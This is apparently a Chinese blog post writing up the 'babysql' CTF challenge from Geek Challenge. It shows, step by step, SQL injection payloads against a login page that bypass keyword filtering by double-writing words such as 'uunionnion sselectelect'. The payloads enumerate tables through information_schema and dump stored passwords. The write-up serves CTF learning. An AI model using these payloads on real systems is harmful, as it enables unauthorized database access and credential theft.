sql注入-----极客大挑战(babysql)

这个题是基于love SQl的进阶,其仍是对sql注入的考察;但增加了绕过的考察;

 

 

首先仍然使用万能密码进行登录

 

 通关运行返回页面发现or被过滤掉,页面返回错误,摁下F12进入hacker进行注入

把url地址改为:http://ed4bd9d5-3c41-4b58-b26b-d07d237d9de0.node4.buuoj.cn:81/check.php?username=admin'%23&password=1%27+or+1%3D1%23('是为了是单引号闭合不然无法构造正确SQL语句,%23仍然起到注释的作用也就是绕过密码进行登录通俗说就是密码可以随便输入)

运行后返回页面显示了用户名和密码,仍然尝试登录页面还是返回错误,继续进行sql注入;

 

由于or会被过滤掉无法被运行,这样也就无法运行正确的sql语句,所以使用双写绕过的方式进行注入;

sql语句:http://ed4bd9d5-3c41-4b58-b26b-d07d237d9de0.node4.buuoj.cn:81/check.php?username=admin' oorr byby 3 %23&password=1%27+or+1%3D1%23

 

 

 页面回显正常,改变字段为四继续注入

sql语句:username=admin' oorrder bbyy 4%23&password=1%27+oror1%3D1%23(由于or和by会被过滤掉所以这里使用双写绕过)

页面回显错误说明只有三个字段;

 

 接下来构造注入语句爆出回显位,但是使用联合查注union select 发现union select也被过滤掉所以继续使用双写绕过;

sql语句:username=1' uunionnion sselectelect 1,2,3%23&password=1%27+oror1%3D1%23(这里把admin改为1,因为admin无法显示回显位,改为1就可以显示回显位)

 

 页面返回页面显示 显示位为23,

接下来使用database(),version()爆出数据库名和版本;

sql语句:username=1' uunionnion sselectelect 1, database() ,version()%23&password=1%27+oror1%3D1%23

 

 

通过返回页面发现数据库名为geek;接下来继续爆出表名,继续使用下一个payload发现无法打过去考虑是因为是有其他字符被过滤,通过测试发现被过滤字符为from,or,where;所以仍然使用双写绕过;

sql语句:username=1' uniunionon seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23&password=1%27+oror1%3D1%23

 

爆出表名为被b4bsql,geekuser。

继续爆出列名;

sql语句:ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3

 

 返现页面显示列:id user passworld;

最后直接爆出数据得到flag

sql语句:ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3%23&password=1%27+oror1%3D1%23

 

 作为lovesql的进阶 其基本思路是一样的只不过这个题目一些字符会被过滤这就需要我们进行测试找到被过滤字符,通过双写绕过注入sql语句从而爆出数据得到flag

posted @ 2022-03-20 20:48  GTL_JU  阅读(140)  评论(0编辑  收藏  举报